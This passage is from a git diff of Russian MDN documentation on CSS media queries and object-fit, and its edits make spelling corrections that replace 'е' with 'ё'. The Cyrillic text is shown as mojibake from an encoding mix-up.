ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ для использования Π² элСмСнтС {{HTMLElement("picture")}}.</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, media query синтаксис ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… контСкстах, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("media", "source")}} элСмСнта {{HTMLElement("source")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ установлСн в media query строку, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ»ΠΈ Π½Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот источник, ΠΊΠΎΠ³Π΄Π° выбираСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ для использования Π² элСмСнтС {{HTMLElement("picture")}}.</p>
<p>In addition, the {{domxref("Window.matchMedia()")}} method can be used to test the window against a media query. You can also use {{domxref("MediaQueryList.addListener()")}} to be notified whenever the state of the queries changes. With this functionality, your site or app can respond to changes in the device configuration, orientation, or state.</p>
diff --git a/files/ru/web/css/media_queries/testing_media_queries/index.html b/files/ru/web/css/media_queries/testing_media_queries/index.html
index facf42b21c..34880c4015 100644
--- a/files/ru/web/css/media_queries/testing_media_queries/index.html
+++ b/files/ru/web/css/media_queries/testing_media_queries/index.html
@@ -42,7 +42,7 @@ mediaQueryList.addListener(handleOrientationChange); // Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΊΠ
handleOrientationChange(mediaQueryList); // Запуск ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.
</pre>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ создаСт список ΠΌΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ для тСстированиС ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ добавляСт ΠΊ Π½Π΅ΠΌΡƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий. ПослС добавлСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, ΠΌΡ‹, Ρ‚Π°ΠΊΠΆΠ΅, нСпосрСдствСнно Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ. Π­Ρ‚ΠΎ заставляСт нашСго ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ настройки, ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ устройства; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, наш ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ устройство находится Π² ΠΊΠ½ΠΈΠΆΠ½ΠΎΠΉ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈ запускС, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΎ фактичСски находится Π² альбомном ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ создаёт список ΠΌΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ для тСстированиС ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ добавляСт ΠΊ Π½Π΅ΠΌΡƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий. ПослС добавлСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, ΠΌΡ‹, Ρ‚Π°ΠΊΠΆΠ΅, нСпосрСдствСнно Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ. Π­Ρ‚ΠΎ заставляСт нашСго ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ настройки, ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ устройства; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, наш ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ устройство находится Π² ΠΊΠ½ΠΈΠΆΠ½ΠΎΠΉ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈ запускС, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΎ фактичСски находится Π² альбомном ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ.</p>
<p>Ѐункция <code>handleOrientationChange()</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ выраТСния ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ всС, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ:</p>
@@ -57,11 +57,11 @@ handleOrientationChange(mediaQueryList); // Запуск ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°
<p>Π’Ρ‹ΡˆΠ΅, ΠΌΡ‹ опрСдСляСм ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΊΠ°ΠΊ <code>evt</code> β€” event ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Π­Ρ‚ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <a href="/en-US/docs/Web/API/MediaQueryList#Browser_compatibility">Π½ΠΎΠ²Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ <code>MediaQueryList</code></a> ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ события стандартным способом. Они большС Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ нСстандартный ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΒ  {{domxref("MediaQueryListListener")}} , Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ настройку ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий, пСрСдавая <a href="/en-US/docs/Web/API/Event">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ event</a>Β  {{domxref("MediaQueryListEvent")}} ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
-<p>Π­Ρ‚ΠΎΡ‚ event ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ свойства {{domxref("MediaQueryListEvent.media","media")}} ΠΈ {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ эти свойства <code>MediaQueryList</code> ΠΏΡƒΡ‚Π΅ΠΌ прямого доступа ΠΊ Π½Π΅ΠΌΡƒ ΠΈΠ»ΠΈ доступа ΠΊ event ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ.</p>
+<p>Π­Ρ‚ΠΎΡ‚ event ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ свойства {{domxref("MediaQueryListEvent.media","media")}} ΠΈ {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ эти свойства <code>MediaQueryList</code> ΠΏΡƒΡ‚Ρ‘ΠΌ прямого доступа ΠΊ Π½Π΅ΠΌΡƒ ΠΈΠ»ΠΈ доступа ΠΊ event ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ.</p>
<h2 id="Π£Π²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅_ΠΎ_Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ_выраТСния">Π£Π²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ выраТСния</h2>
-<p>Для прСкращСния ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ ΠΎΠ± ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ значСния вашСго мСдиавыраТСния Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>removeListener()</code> для {{domxref("MediaQueryList") }}, ΠΏΠ΅Ρ€Π΅Π΄Π°Π² Π΅ΠΌΡƒ имя, Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:</p>
+<p>Для прСкращСния ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ ΠΎΠ± ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ значСния вашСго мСдиавыраТСния Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>removeListener()</code> для {{domxref("MediaQueryList") }}, ΠΏΠ΅Ρ€Π΅Π΄Π°Π² Π΅ΠΌΡƒ имя, Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:</p>
<pre class="brush: js">mediaQueryList.removeListener(handleOrientationChange);
</pre>
diff --git a/files/ru/web/css/media_queries/using_media_queries/index.html b/files/ru/web/css/media_queries/using_media_queries/index.html
index 9923ab8f1e..07014138a2 100644
--- a/files/ru/web/css/media_queries/using_media_queries/index.html
+++ b/files/ru/web/css/media_queries/using_media_queries/index.html
@@ -4,7 +4,7 @@ slug: Web/CSS/Media_Queries/Using_media_queries
tags:
- Π’Π΅Π±
- МСдиа
- - МСдиа вСрстка
+ - МСдиа вёрстка
- ΠœΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡ
- ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½
- ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ
@@ -30,7 +30,7 @@ translation_of: Web/CSS/Media_Queries/Using_media_queries
<h2 id="Π£Π·ΠΊΠΎΠ½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅_media">Π£Π·ΠΊΠΎΠ½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ @media</h2>
-<p><a href="/en-US/docs/CSS/@media#Media_features">Media features</a>Β ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Π½Π΅ΠΊΠΈΠ΅ характСристики ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ {{glossary("user agent")}}, устройства Π²Ρ‹Π²ΠΎΠ΄Π° ΠΈΠ»ΠΈ окруТСния. НапримСр, Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Π΅ стили  Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΡˆΠΈΡ€ΠΎΠΊΠΎΡΠΊΡ€Π°Π½Π½Ρ‹Ρ… ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΎΠ², ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ² с ΠΌΡ‹ΡˆΡŒΡŽ, ΠΈΠ»ΠΈ для устройств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² условиях слабой освСщСнности. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ стили Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° <em>основноС </em>устройство Π²Π²ΠΎΠ΄Π°Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΡ‹ΡˆΡŒ)Β  Π±ΡƒΠ΄Π΅Ρ‚ располоТСно Π½Π°Π΄ элСмСнтами:</p>
+<p><a href="/en-US/docs/CSS/@media#Media_features">Media features</a>Β ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Π½Π΅ΠΊΠΈΠ΅ характСристики ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ {{glossary("user agent")}}, устройства Π²Ρ‹Π²ΠΎΠ΄Π° ΠΈΠ»ΠΈ окруТСния. НапримСр, Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Π΅ стили  Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΡˆΠΈΡ€ΠΎΠΊΠΎΡΠΊΡ€Π°Π½Π½Ρ‹Ρ… ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΎΠ², ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ² с ΠΌΡ‹ΡˆΡŒΡŽ, ΠΈΠ»ΠΈ для устройств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² условиях слабой освСщённости. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ стили Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° <em>основноС </em>устройство Π²Π²ΠΎΠ΄Π°Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΡ‹ΡˆΡŒ)Β  Π±ΡƒΠ΄Π΅Ρ‚ располоТСно Π½Π°Π΄ элСмСнтами:</p>
<pre class="brush: css">@media (hover: hover) { ... }</pre>
@@ -38,7 +38,7 @@ translation_of: Web/CSS/Media_Queries/Using_media_queries
<pre class="brush: css">@media (max-width: 12450px) { ... }</pre>
-<p>Если Π²Ρ‹ создаСтС ΠΌΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±Π΅Π· указания значСния, Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ стили Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ Ρ€Π°Π²Π½ΠΎ Π½ΡƒΠ»ΡŽ. НапримСр, этот CSS Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ устройству с Ρ†Π²Π΅Ρ‚Π½Ρ‹ΠΌ экраном:</p>
+<p>Если Π²Ρ‹ создаётС ΠΌΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±Π΅Π· указания значСния, Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ стили Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ Ρ€Π°Π²Π½ΠΎ Π½ΡƒΠ»ΡŽ. НапримСр, этот CSS Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ устройству с Ρ†Π²Π΅Ρ‚Π½Ρ‹ΠΌ экраном:</p>
<pre class="brush: css">@media (color) { ... }</pre>
diff --git a/files/ru/web/css/object-fit/index.html b/files/ru/web/css/object-fit/index.html
index 66c10ac4ed..69cacd65c0 100644
--- a/files/ru/web/css/object-fit/index.html
+++ b/files/ru/web/css/object-fit/index.html
@@ -23,11 +23,11 @@ translation_of: Web/CSS/object-fit
<dt><code>fill</code></dt>
<dd>Π‘ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ мСняСт свой Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всю ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ°: ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ вся ΡˆΠΈΡ€ΠΈΠ½Π° ΠΈ высота Π±Π»ΠΎΠΊΠ°.</dd>
<dt><code>contain</code></dt>
- <dd>Π‘ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ мСняСт свой Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ подстроится ΠΏΠΎΠ΄ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ собствСнным ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌ:Β ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΊΠ°ΠΊ "ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π²Π½ΡƒΡ‚Ρ€ΡŒ" Π±Π»ΠΎΠΊΠ°, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡΡΡŒ Π΅Π³ΠΎ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈ высотой.</dd>
+ <dd>Π‘ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ мСняСт свой Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ подстроится ΠΏΠΎΠ΄ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Π»ΠΎΠΊΠ° ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ собствСнным ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌ:Β ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΊΠ°ΠΊ "ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π²Π½ΡƒΡ‚Ρ€ΡŒ" Π±Π»ΠΎΠΊΠ°, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡΡΡŒ Π΅Π³ΠΎ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈ высотой.</dd>
<dt><code>cover</code></dt>
- <dd>Π‘ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ мСняСт свой Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ свои ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ ΠΏΡ€ΠΈ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ Π±Π»ΠΎΠΊΠ°: ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΊΠ°ΠΊ "ΠΏΠΎΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅" Π±Π»ΠΎΠΊΠ°, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡΡΡŒ Π΅Π³ΠΎ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈ высотой.</dd>
+ <dd>Π‘ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ мСняСт свой Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ свои ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ ΠΏΡ€ΠΈ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ Π±Π»ΠΎΠΊΠ°: ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΊΠ°ΠΊ "ΠΏΠΎΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅" Π±Π»ΠΎΠΊΠ°, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡΡΡŒ Π΅Π³ΠΎ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ ΠΈ высотой.</dd>
<dt><code>none</code></dt>
- <dd>Π‘ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π΅ измСняСт свой Ρ€Π°Π·ΠΌΠ΅Ρ€ с Ρ†Π΅Π»ΡŒΡŽ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ пространство Π±Π»ΠΎΠΊΠ°: ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ с использованиСм Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ° измСнСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π΅Π½ ΡˆΠΈΡ€ΠΈΠ½Π΅ ΠΈ высотС смСщаСмого ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</dd>
